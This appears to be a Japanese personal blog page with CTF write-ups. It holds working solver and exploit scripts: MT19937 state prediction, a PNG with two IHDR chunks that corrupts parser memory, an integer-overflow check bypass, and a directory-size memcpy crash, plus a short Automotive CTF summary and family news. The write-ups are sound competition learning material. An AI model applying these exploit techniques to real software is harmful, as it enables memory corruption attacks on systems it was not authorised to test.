            magic_word += pos_set.pop()  # 複数の候補がある場合は1つを選択

    print(f"Trying magic word: {magic_word}")

    if guess_word(p, magic_word):
        print("Magic word found!")
        print(p.recvall().decode())
    else:
        print("Failed to find the magic word. Try running the script again.")

if __name__ == "__main__":
    solve_magic_word()

Weak PRNG (185点) [crypto] [easy]

プログラムを渡すとClaude AIさんいわくここまで教えてくれる。

ただ微妙に作ってくれたプログラムにバグがあり、過去に生成された乱数に対して遡れなかったので、 https://github.com/NonupleBroken/ExtendMT19937Predictor のbacktrack_getrandbitsを使うと解ける。

from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor

def get_random_numbers(r):
    numbers = []
    for _ in range(39):
        r.sendline(b"1")
        r.recvuntil(b"Here are your random data:\n")
        for _ in range(16):
            num = int(r.recvline().strip())
            numbers.append(num)
        r.recvuntil(b"Enter your choice (1-3)")
    return numbers

def main():
    # サーバーの接続情報を設定
    HOST = 'localhost'  # サーバーのホスト名またはIPアドレスに置き換えてください
    PORT = 1337  # サーバーのポート番号に置き換えてください

    # サーバーに接続
    #r = remote(HOST, PORT)
    r = process("./challenge.py")
    # 初期メッセージを受信
    r.recvuntil(b"Enter your choice (1-3)")

    # 624個の乱数を取得
    numbers = get_random_numbers(r)


    # MT19937の内部状態を再構築
    rc = ExtendMT19937Predictor()
    for num in numbers:
        rc.setrandbits(num, 32)
    # 624コ巻き戻すがこれらは捨てる
    for _ in range(624):
        rc.backtrack_getrandbits(32)
    # 最初に生成された secret の値を予測
    predicted_secret = rc.backtrack_getrandbits(32)
    print(predicted_secret)
    # 予測した値を送信
    r.sendline(b"2")
    r.recvuntil(b"Enter the secret decimal number")
    r.sendline(str(predicted_secret).encode())

    # フラグを受信して表示
    response = r.recvall().decode()
    print(response)

    # 接続を閉じる
    r.close()

if __name__ == "__main__":
    main()

PNGParser(flag 1) (1点) [pwn] [homework]

Claude AIがほぼ無力。 そもそもflag 1からムズい!パース関数を部分利用して最初に現れたIHDRからサイズ情報読み取る -> png画像に必要なメモリ確保 -> もっかいパース関数呼ぶみたいなことをしている上にIHDRを一度読み込んだかどうか確認していないので、2コIHDRチャンクを入れるとメモリ破壊を起こせて、解ける。

import zlib
from pwn import *


def generate_bad_png():
    # PNGシグネチャ
    png_signature = b'\x89PNG\r\n\x1a\n'

    # IHDRチャンク
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 0, 0, 0, 0)
    ihdr_length = struct.pack('>I', len(ihdr_data))
    ihdr_type = b'IHDR'
    ihdr_crc = struct.pack('>I', zlib.crc32(ihdr_type + ihdr_data))

    # IHDRチャンク
    atk_ihdr_data = struct.pack('>IIBBBBB', 1024, 1024, 8, 0, 0, 0, 0)
    atk_ihdr_length = struct.pack('>I', len(atk_ihdr_data))
    atk_ihdr_type = b'IHDR'
    atk_ihdr_crc = struct.pack('>I', zlib.crc32(atk_ihdr_type + atk_ihdr_data))

    # グレースケールのピクセルデータを生成(ここでは黒 = 0 を使用)
    real_width, real_height = 2000, 1000
    row_data = b'\x00' + b'\x00' * real_width  # フィルタータイプ0 + 黒いピクセル
    img_data = row_data * real_height

    # IDATチャンク
    compressed_data = zlib.compress(img_data)
    idat_length = struct.pack('>I', len(compressed_data))
    idat_type = b'IDAT'
    idat_crc = struct.pack('>I', zlib.crc32(idat_type + compressed_data))
    print(len(compressed_data))
    # IENDチャンク
    iend_length = struct.pack('>I', 0)
    iend_type = b'IEND'
    iend_crc = struct.pack('>I', zlib.crc32(iend_type))

    # PNGファイルを書き込む
    return png_signature + \
        (ihdr_length + ihdr_type + ihdr_data + ihdr_crc) + \
        (atk_ihdr_length + atk_ihdr_type + atk_ihdr_data + atk_ihdr_crc) + \
        (idat_length + idat_type + compressed_data + idat_crc) + \
        (iend_length + iend_type + iend_crc)


png_bin = generate_bad_png()
# r = remote(host="34.170.146.252", port=38582)
r = process("./chall")
r.sendlineafter(b"> ", "1")
r.sendlineafter(b"size of png: ", f"{len(png_bin)}")
r.sendafter(b"send your png:", png_bin)
r.interactive()

This is warmup (193点) [pwn] [warmup]

Claude AIがほぼ無力。

以下のオーバーフロー判定がアホなので、それを利用してやる。ただし意外とx*y%2^64を小さい値にしつつこのアホな判定式をすり抜けるのが乱択だと難しい。 多分作問者はこういう嘘判定式を書いて痛い目にあったことがあるのだろうと思いますね。

  if (nrow * ncol < nrow) { // this is integer overflow right?
    puts("Don't hack!");
    exit(1);
  }

フラグ奪取できる条件を整理すると、 M=2^64 として

  • ①x,y ∈[0, M) (x,yが64bit非負整数なので)

  • ②xy % M >= x (嘘オーバーフロー判定条件式より)

  • ③xy >= M (SEGV起こすために算術オーバーフロー自体は起こさないといけない)

  • ④ xy % M < 4000^2 (mallocが成功しそうな値が大体これくらいであることを確認した)

が条件。 実際 ④の条件はxとMが互いに素であればxの逆元が存在するので、xy%Mの値をCと決め打ちしてあげて、それをxy%M = Cとできるようなy=C*x^-1%Mが必ず求まる。あとは②と③が満たされるかどうかを確かめて、条件に満たしたものを何でもいいから入力するとフラグ奪取できる。

以下のスクリプトを実行したら

import math
LIMIT = 4000*4000
M = 1 << 64
for x in range(2, LIMIT):
    if math.gcd(x, M) == 1:
        for C in range(x, LIMIT): # x*y%M >= x を満たすためにCから
            y = C * pow(x, -1, M) % M
            if x * y >= M:
                print(f'x={x}')
                print(f'y={y}')
                print(f'C=x*y%M={C}')
                print(f'x*y={x*y}')
                exit(0)

次の出力(x,y)=(3, 12297829382473034412)が得られるので送信する。

$ python aaa.py 
x=3
y=12297829382473034412
C=x*y%M=4
x*y=36893488147419103236

Copy & Paste (244点) [pwn] [was_warmup]

恐らく作問者の方は情報オリンピックの春合宿などに参加して、Copy & Pasteという名前がついた問題に馴染みがある可能性があるのではないかと思いを馳せました。Copy & Paste 4と命名せよ!(理由: Copy & Paste 3)があるから)

Claude AIがほぼ無力(3回目)。

なんか色々ディレクトリ入れたりガチャガチャしていると、ディレクトリに対してはfopenは成功するがftellが-1を返すことに気づき、サイズ-1=2^64-1で勝利を確信したが、そこからが少し長かった。

/etcなどのディレクトリを入力するとサイズに-1が入って、それがキャストの都合で2^64-1になり、かつバッファとして確保される領域はmalloc(0)になるはずなので、2つのバッファを/etcにしてやると、memcpy(a, b, 2^64-1)みたいな明らかにやばいmemcpyを実行し何しても壊れることになる...はずなんだがなかなか壊れないので、片方をある程度大きいlinuxのファイル(かつサーバーにありそうなやつ)を片方指定してあげると、なんかmemcpy(malloc(0), malloc(100000), 100000)みたいになってちゃんと壊れる。なんで壊れないのかちゃんと確かめる必要がありそう。

頑張ってサーバーにあるでかいファイル(84193バイト)として/var/lib/dpkg/statusを見つけた痕跡

kyuridenamida@kyuridenamida-ubuntu:~/ctf/ierae-days-ctf-2023/copyandpaste/distfiles$ nc 52.231.220.191 5001
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /var/lib/dpkg/status
Read 84193 bytes from /var/lib/dpkg/status
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /etc
Read -1 bytes from /etc
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Well done!
IERAE{ネタバレ防止}

(※追記)

なぜ-1のやつ2つじゃ駄目なのかDiscordで質問したらmemmove使ってるらしいよ〜と教えてもらったので、それにしたがってgdb眺めてやった考察を投稿したので、ここにも書いておく(面倒くさいのでClaudeによる再翻訳、日本語話者がこれするのはおかしいと思うけど手抜きです)

ありがとうございます、先生。私は__memmove_avx_unaligned_ermsについて深く調べる時間を費やしました。これは私のローカルマシンで実行されたものですが(サーバーの環境と一致しているかどうかは不明です)、興味深い事実を発見しました。memmoveはmemcpyよりも賢いのです。srcとdestのメモリに重複がある場合、データを後ろから前へコピーします。このプロセスで、簡略化したコードは以下のようになります:

/** !警告! これは正確な実装ではなく、問題のあるコードパスのおおまかな説明です。 **/
memmove(char* src_start, char* dest_start, size_t n){
  // ここでいくつかのアドレスオフセット調整が行われます
  
  char* dest_end = dest_start + n; 
  char* src_end = src_start + n;
  do {
    src_end -= 128;
    dest_end -= 128;
    // ここでsrc_endからdest_endへ128バイトのAVX操作によるコピーが行われます
  } while (dest_end > dest_start); // この条件は整数オーバーフローのため、即座に偽になります
  
  // いくつかの調整が行われます
}

そのため、while条件の dest_end > dest_start がトリックでした。実際には、これでも少量の破壊的なコピーが起こる可能性がありますが、64ビットアドレス + 264-1 は通常単にアドレス-1 になるだけなので、見た目ほど広い範囲には影響しません。

Automotive CTF Japan予選 2024 writeup

CTFコンテストにほぼ記憶に残る限り初めてと言っていいくらい真面目に時間をかけて参加した。初CTFです(初投稿ですのノリで)

FCCPCの一員として参加して4位だったので日本決勝にいけるらしい。 なんかルールで揉めた。いい順位取れると思ってなかったのでそこまで感情を動かされなかったが人のお金でアメリカ行きたい~というのはあったので少し残念。

以下簡易writeup

  • OSINTのかんたんな2問: グーグル画像検索とLLM

  • 1 or 2: BH創設者がford大好きっぽいから野生の勘でred_fordとかにしたら確か通った

  • Gameboy Game: GBAのシミュレータを適当にダウンロードしてきてスコアを摂動させてスコアのアドレスを見つける、古き良きチート手法でスコアを弄り、終わり

  • Signal Sleuth: プログラミング不要。バイト列に色をつけて眺める→冗長なビット列ぽいのが見えてくる→1が3連続で現れない符号化方式について調べるとマンチェスタ符号(※)→マンチェスタ符号とみなしてデコード (※天才フェーズはすべてぽにょがやった)

  • Rolling Thunder: 最後1byteを除き、眺める(※) とわかるので256通り提出を試す (※天才フェーズはすべてぽにょがやった)

  • Want a password: Windowsの時刻を弄りマクロツールで1秒毎に生成。その中のものを総当りで試すと解ける。

  • Car Game: リバースエンジニアリングツール不要。プロセスメモリエディタ必要。スコアをいじるとCHEATER認定されるので駄目、代わりにGameboy Gameと同じ要領でHPを無限にするチートして、してスコアが1337超えるまで実時間かけて放置するとvalidなフラグが出てくる。

  • Power: ここではじめてリバースエンジニアリングした。システムコール周りとそのあとの挙動を眺めると長さ8のファイル、特に名前がflag.pngのファイルに対して何かしていることがわかるのでひたすらgdb使って1ピクセルずつ特定していくと解ける。ちゃんと高速化とかしないと数日かかる可能性があり1ピクセル特定する毎にgdbを再起動していたやつをちゃんと1回の起動で全部特定するように高速化した(※pngにするみたいな部分はぽにょが俺が諦めてた部分を突破してすべて考察を終えていた、すごいね)

3/19に息子が産まれました

blog.hatena.ne.jp

↑の記事忘れて書いてしまった 以下、上記の記事よりは丁寧なものの適当な殴り書き

Valorantをやめなければいけない理由、ぼかしてましたがそれです。 子育て頑張っています。でも寝つきが結構いいのでねんね期にこっそりValorantやってます。ランクはできないけど息抜き程度に...

お金の使い方として良かったものランキング

やってよかったこと + 他

  • 出産直後に妻への感謝のお手紙
  • 写真共有は「みてね」が定番らしく、実際かなり便利でいい
  • adenandanaisのガーゼおくるみかなりよかった